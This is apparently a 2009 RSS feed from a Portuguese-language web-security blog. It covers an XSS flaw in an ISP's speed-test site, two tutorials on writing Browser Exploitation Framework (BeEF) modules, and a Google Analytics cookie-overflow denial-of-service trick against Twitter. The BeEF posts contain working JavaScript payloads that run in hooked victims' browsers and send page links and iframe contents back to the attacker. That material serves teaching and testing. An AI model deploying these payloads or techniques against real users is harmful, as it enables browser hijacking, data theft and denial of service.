<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança &#187; Segurança em Aplicações Web</title>
	<atom:link href="http://www.falandodeseguranca.com/category/aplicacoes-web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:14:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Site de teste da Ajato (TVA) revela informações do usuário</title>
		<link>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/</link>
		<comments>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 06:20:43 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[ajato]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=273</guid>
		<description><![CDATA[Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (http://testevelocidade.ajato.com.br), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma muito simples, é possível extrair informações como o IP interno [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-274" title="ajato" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/12/ajato.jpg" alt="ajato" width="169" height="126" /> Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (<a href="http://testevelocidade.ajato.com.br" target="_blank">http://testevelocidade.ajato.com.br</a>), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma <strong>muito simples</strong>, é possível extrair informações como o IP interno e MAC do modem, velocidade do plano de internet e nível de sinal, com pouquissimas linhas de código e sem exigir qualquer interação da vítima, graças ao script do teste de velocidade da Ajato, que expõe sem a menor necessidade tais informações. Confesso que quando as vi pela primeira vez, custei a acreditar.</p>
<p>Se quiser ir direto ao site da prova de conceito (PoC), veja <a href="http://www.falandodeseguranca.com/exemplo/ajato.html" target="_blank"><strong>clicando aqui</strong></a> (Obviamente, apenas para usuários Ajato).</p>
<p><center>															<object type="application/x-shockwave-flash" data="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" width="800" height="600" allowfullscreen="true" id="showplayer"><param name="movie" value="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" /><param name="quality" value="best" /></object>										</center></p>
<p>Dê seu Feedback via comentários ou tweets! Colabore com a divulgação clicando no botão de RT <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Qualquer dúvida, é só gritar.</p>
<p>Até a próxima, pessoal!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>BeEF: Como programar Módulos (pt 2) &#8211; Módulo &#8220;Iframe Tools&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 05:25:30 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=249</guid>
		<description><![CDATA[Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento. Nossa tarefa será aumentar [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" />Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, <a href="http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/">corra para lá</a>, pois o conteúdo de hoje não passa de um complemento.</p>
<p>Nossa tarefa será <strong>aumentar a complexidade do módulo adicionando opções configuráveis. </strong> Sendo assim, ao contrário do módulo &#8220;URL Crawler&#8221;, onde bastava apertar o botão para explorar, teremos um formulário com opções que<strong> </strong>vão definir o que será processado pelo zumbie.</p>
<h3><span style="color: #ff6600;"># Módulo: &#8220;Iframe Tools&#8221;</span></h3>
<p><span style="color: #000000;"> </span>Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.</p>
<p>Nosso módulo terá duas funções:</p>
<ul>
<li>Listar todos os iframes disponíveis na página, retornando nome e ID.</li>
<li>Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.</li>
</ul>
<p>Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais <strong>fugindo dos padrões</strong>.</p>
<h3><span style="color: #ff6600;">1# Estrutura e o Arquivo de Nome<br />
</span></h3>
<p>Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de <strong>iframe_tools</strong> dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo <strong>name.txt</strong> contendo apenas <strong>Iframe Tools</strong> . Até aqui, nada muda .. mas só até aqui.</p>
<h3><span style="color: #ff6600;">2# O Payload (JavaScript)</span></h3>
<p>Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se <strong>template.js</strong>. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.</p>
<p>Teremos então:</p>
<ul>
<li><strong>template-lista.js :</strong> Lista e retorna os iframes na página</li>
<li><strong>template-le.js : </strong>Lê o conteúdo do iframe previamente especificado.</li>
</ul>
<p>O primeiro (template-lista.js) é semelhante ao &#8220;URL Crawler&#8221;. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:</p>
<pre name="code" class="js">
function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );
</pre>
<p>O código é muito simples: Verifica as tags &lt;iframe&gt; que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.</p>
<p>Falando em obter conteúdo, eis o simples  código que fará esta função. Ele ficará no arquivo<strong> template-le.js </strong> e, obviamente, <strong>requer uma informação que deve ser previamente definida</strong>: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra <strong>IFRAME-ID<br />
</strong></p>
<pre name="code" class="js">
return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);
</pre>
<p>Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. <strong>Nunca</strong> use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.</p>
<h3><span style="color: #ff6600;">3# A Página de controle do Módulo (index.php)</span></h3>
<p>Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.</p>
<p>Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.</p>
<p>Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.</p>
<p>No início do arquivo, criamos definições para &#8220;chamarmos&#8221; nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.</p>
<pre name="code" class="php">
&#x3C;&#x3F;
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
&#x3F;&#x3E;
</pre>
<p>Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave <strong>IFRAME-ID</strong> (que criamos em #2) pelo valor digitado no campo &#8220;idiframe&#8221; do form de nome &#8220;myform&#8221;. A função também define qual payload será enviado, verificando se o campo está ou não em branco.</p>
<pre name="code" class="js">
&lt;script&gt;

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '&lt;? echo get_b64_file(JS_FILE_LISTA); ?&gt;';
var b64codele = '&lt;? echo get_b64_file(JS_FILE_LE); ?&gt;';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

&lt;/script&gt;
</pre>
<p>Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.</p>
<pre name="code" class="html">
&lt;div id="module_header"&gt;Iframe Tools&lt;/div&gt;
Lista ou retorna o HTML de um Iframe.&lt;br&gt;&lt;br&gt;
&lt;div id="module_subsection"&gt;
&lt;form name="myform"&gt;
ID do Iframe: &lt;input type="text" name="idiframe" value=""/&gt; &lt;i&gt;(Em branco: Lista Iframes)&lt;/i&gt;
&lt;input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/&gt;
&lt;input type="button" value=" Send Now " onClick="javascript:send_now()"/&gt;
&lt;/form&gt;
&lt;/div&gt;
</pre>
<h3><span style="color: #ff6600;">4# Tudo pronto!</span></h3>
<p>Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:</p>
<p><strong>Sem especificar ID (lista Iframes):</strong></p>
<p><img class="aligncenter size-full wp-image-255" title="iframetools1" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools1.jpg" alt="iframetools1" width="655" height="179" /></p>
<p><strong>Ao especificar um ID (retorna conteúdo do Iframe):</strong></p>
<p><img class="aligncenter size-full wp-image-254" title="iframetools2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools2.jpg" alt="iframetools2" width="655" height="179" /></p>
<p>É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Até a próxima!</p>
<p><span style="color: #ff6600;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BeEF: O que é e Como programar Módulos (pt 1)</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 07:19:31 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=212</guid>
		<description><![CDATA[Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado. Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" /> <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.</p>
<p>Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a  Port Scan em hosts remotos ou internos.</p>
<p>Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o <strong>Metasploit</strong>, através de XMLRPC. Exploits de navegadores, incluindo o utilitário &#8220;Browser Autopwn&#8221; que procura por versões vulneráveis de plugins e do próprio navegador da vítima,  podem ser iniciadas diretamente do BeEF, em poucos clicks.</p>
<p>Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em <a href="http://www.bindshell.net/tools/beef">http://www.bindshell.net/tools/beef</a> . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)<br />
<img class="aligncenter size-full wp-image-241" title="screenbeef2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/screenbeef2.jpg" alt="screenbeef2" width="523" height="251" /></p>
<p>Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre <strong>Criação de Módulos para o BeEF:</strong><strong> </strong></p>
<h3><strong><span style="color: #ff6600;">1# Os bastidores do BeEF</span></strong></h3>
<p>Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, &#8220;informando&#8221; que a sessão continua ativa, ou seja, que o Zumbie esta disponível,  e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o <em>hacker</em> determinar.</p>
<h3><strong><strong><span style="color: #ff6600;">2# As Categorias dos Módulos<br />
</span></strong></strong></h3>
<p>Os módulos são organizados por categorias, são elas:</p>
<ul>
<li><strong>Standart Modules: </strong>Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, &#8220;deface&#8221; (reescrever o conteúdo da página), etc.</li>
<li><strong>Browser Modules: </strong>Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.</li>
<li><strong>Network Modules:</strong> Módulos de detecção,  exploração de falhas ou interação com serviços na rede.</li>
</ul>
<h3><strong><strong><strong><strong><span style="color: #ff6600;">3# Os arquivos e a organização de um Módulo</span></strong></strong></strong></strong></h3>
<p>Na pasta<strong> /modules/</strong> do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex:<strong> /modules/standart/alert_dialog</strong> para o módulo de alertas).</p>
<p>Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:</p>
<ul>
<li><strong>index.php:</strong> A página que será exibida dentro do BeEF para controle das ações do módulo.</li>
<li><strong>name.txt:</strong> Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.</li>
<li><strong>template.js:</strong> O código JavaScript que será enviado ao Zumbie.</li>
</ul>
<h3><strong><strong><strong><strong><strong><strong><strong><strong><span style="color: #ff6600;">4# Mão na massa: Construindo nosso módulo.<br />
</span></strong></strong></strong></strong></strong></strong></strong></strong></h3>
<p>Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de <strong>URL CRAWLER</strong>.</p>
<h4><strong><span style="color: #ff6600;">4.1# Criando a Pasta </span></strong></h4>
<p>O classifiquei como &#8220;Standart&#8221;. Vamos, por tanto, criar a pasta <strong>/modules/standart/url_crawler/ </strong></p>
<h4><strong><span style="color: #ff6600;">4.2# Definindo o Nome </span></strong></h4>
<p>Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o <strong>name.txt</strong> .</p>
<p>Crie um arquivo de texto (txt) de nome <strong>name.txt</strong> contendo APENAS o nome do módulo, no caso, URL Crawler:</p>
<blockquote><p>URL Crawler</p></blockquote>
<h4><strong><span style="color: #ff6600;">4.2# Criando o Código JavaScript</span></strong></h4>
<p>Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:</p>
<pre name="code" class="js">
// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags &#x3C;&#x61;&#x3E; encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada &#x3C;&#x61;&#x3E; encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href &amp;&amp; (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);
</pre>
<p>O mais importante a ser notado no exemplo dado, é o uso do <strong>return_result(result_id, retorno);</strong>. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:</p>
<pre name="code" class="js">
alert("Teste!");
return_result(result_id, "Alerta executado!");
</pre>
<h4><strong><span style="color: #ff6600;">4.3# Criando o formulário de ativação</span></strong></h4>
<p>Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o <em>hacker</em> irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:</p>
<pre name="code" class="html">
<?
	// Copyright (c) 2006-2009, Wade Alcorn
	// All Rights Reserved
	// wade@bindshell.net - http://www.bindshell.net

	require_once("../../../include/common.inc.php"); // included for get_b64_file()
	DEFINE('JS_FILE', './template.js');
?>

<script>

	function get_b64_code_je() {
		// javascript is loaded from a file - it could be hard coded
		var b64code = '<? echo get_b64_file(JS_FILE); ?>';

		return b64code;
	}

	Element.Methods.set_autorun = function() {
               // Insira o nome do módulo no primeiro parâmetro do ar.enable:
		ar.enable('URL Crawler', get_b64_code_je());
	}

	Element.Methods.send_now = function() {
		do_send(get_b64_code_je());
	}

	// add construct code to DOM
	Element.addMethods();

</script>

<!-- Conteúdo do Formulário. Altere o nome e a descrição do módulo -->
<div id="module_header">URL Crawler</div>

Este modulo ira listar todas as URLs de links na pagina.
<div id="module_subsection">
<form name="myform">
<div id="module_subsection_header"></div>
<input class="button" type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input class="button" type="button" value=" Send Now " onClick="javascript:send_now()"/>
	</form>
</div>
</pre>
<h4><strong><span style="color: #ff6600;">4.4# Ação!</span></strong></h4>
<p>Feito tudo isso, é só ir ao <strong>/beef/ui</strong> em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.</p>
<p>Por hoje é só, mas mais tutoriais sobre BeEF virão. </p>
<p>Espero que tenham gostado.<br />
Fique de olho! <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Abraços!<br />
Gabriel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Analytics &#8211; Cookies definidos por Buscas\URL podem comprometer acesso a sites</title>
		<link>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 05:46:03 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=194</guid>
		<description><![CDATA[&#8230; ou: Como fazer com que um pobre usuário não consiga acessar um site específico. No caso deste post, o Twitter.com . Ok, antes de irmos direto ao assunto, vamos ao conceito. Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fgoogle-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>&#8230; ou: <strong>Como fazer com que um pobre usuário não consiga acessar um site específico. </strong>No caso deste post, o Twitter.com .</p>
<p>Ok, antes de irmos direto ao assunto, vamos ao conceito.</p>
<p>Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, de seu user-agent, o arquivo a ser chamado, tipo de requisição (get, post, etc), campos de formulários, codificação dos caracteres, tipo de conteúdo, <strong>cookies</strong>, etc.  Cookies! hmm! Preste atenção nele aí!</p>
<p>Servidores Web costumam ter configurações que especificam quantos bytes serão permitidos no cabeçalho de uma requisição HTTP. Se a soma de todo o header passar dessa quantidade de bytes, ele anula o pedido, retornando erro. No caso do Apache 2.0, o comando que especifica esse valor é o <code><strong>LimitRequestFieldsize</strong>, e seu valor-padrão é <strong>8190</strong></code></p>
<p>Daí a idéia: Se conseguirmos fazer com que um usuário (Lê-se vítima), sempre que acessar um site, esteja com algo em seu header que ultrapasse esse limite, impossibilitariamos o seu acesso. &#8230; e esse alvo, são os cookies!</p>
<p>Pra quem não sabe, &#8220;<em><strong>Cookie</strong></em> é um grupo de dados trocados entre o <a title="Navegador" href="http://pt.wikipedia.org/wiki/Navegador">navegador</a> e o <a title="Servidor" href="http://pt.wikipedia.org/wiki/Servidor">servidor</a> de páginas, colocado num arquivo de texto criado no computador do utilizador.&#8221; (<em>definição da <a href="http://pt.wikipedia.org/wiki/Cookie" target="_blank">wikipedia em português</a></em>) .</p>
<p>Tudo bem, mas&#8230; como faremos para definir um cookie no navegador da vítima, para aquele site específico?</p>
<p>Sirdarckcat, autor da idéia, descobriu no <strong>Google Analytics,</strong> sistema de estatísticas para websites da Google usado em diversos sites, a solução. Para tratar suas estatísticas, o Google Analytics utiliza diversos cookies.  Entre eles, os dois abaixo são ideais para o ataque:</p>
<p><strong>1- Cookie para determinar visitante vindo de um site de busca &#8211; o &#8220;Search result &#8211; organic referers&#8221;</strong></p>
<p>Nas estatísticas geradas pelo Google Analytics, é possível ver quais termos em sites de buscas o rendeu visita. Segundo Sirdarckcat, é possível &#8220;fingir&#8221; uma busca no google usando links como:</p>
<p><span style="text-decoration: underline;">http://google.seudominio.com/search?q=search-term</span><br />
Ao passar um termo de busca grande, o mesmo ocupará um bom espaço no header. Porém, ele, sozinho, não quebrará o limite padrão dos web-servers, pois o limite para cada cookie é de 4192 bytes. A solução? Bem&#8230; definir mais um cookie!</p>
<p><strong>2- Google Analytics Site Overlay &#8211; GASO</strong></p>
<p>Para definir o cookie de nome GASO, basta acessar qualquer página que use o Google Analytics adicionando #gaso=VALOR no final da URL. (ex: http://site.com/pagina.php#gaso=valor-do-cookie)</p>
<p>A junção destes dois cookies usando todo o espaço de 4192 bytes resultará no estouro do limite de espaço para o cabeçalho. O site alvo ficará inacessível até que os cookies sejam excluidos.</p>
<p>Sirdarckcat fez um script para demonstrar esta idéia em ação.</p>
<p>Twitter sem SSL: <a href="http://google.sirdarckcat.net/?v=http://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=http://twitter.com/</a></p>
<p>Twitter com SSL: <a href="http://google.sirdarckcat.net/?v=https://twitter.com/" target="_blank">http://google.sirdarckcat.net/?v=https://twitter.com/</a></p>
<p>&#8230; e por falar em Twitter, com o uso frequente de encurtadores de URL, seria fácil que pessoas se tornem vítimas deste tipo de &#8220;ataque&#8221;, não?</p>
<p>FONTE: <a href="http://sirdarckcat.blogspot.com/ " target="_blank">http://sirdarckcat.blogspot.com/ </a>e <a href="http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize" target="_blank">http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/google-analytics-cookies-definidos-por-buscasurl-podem-comprometer-acesso-a-sites/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>O caso &#8220;StrongWebMail.com&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/</link>
		<comments>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 06:58:28 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>

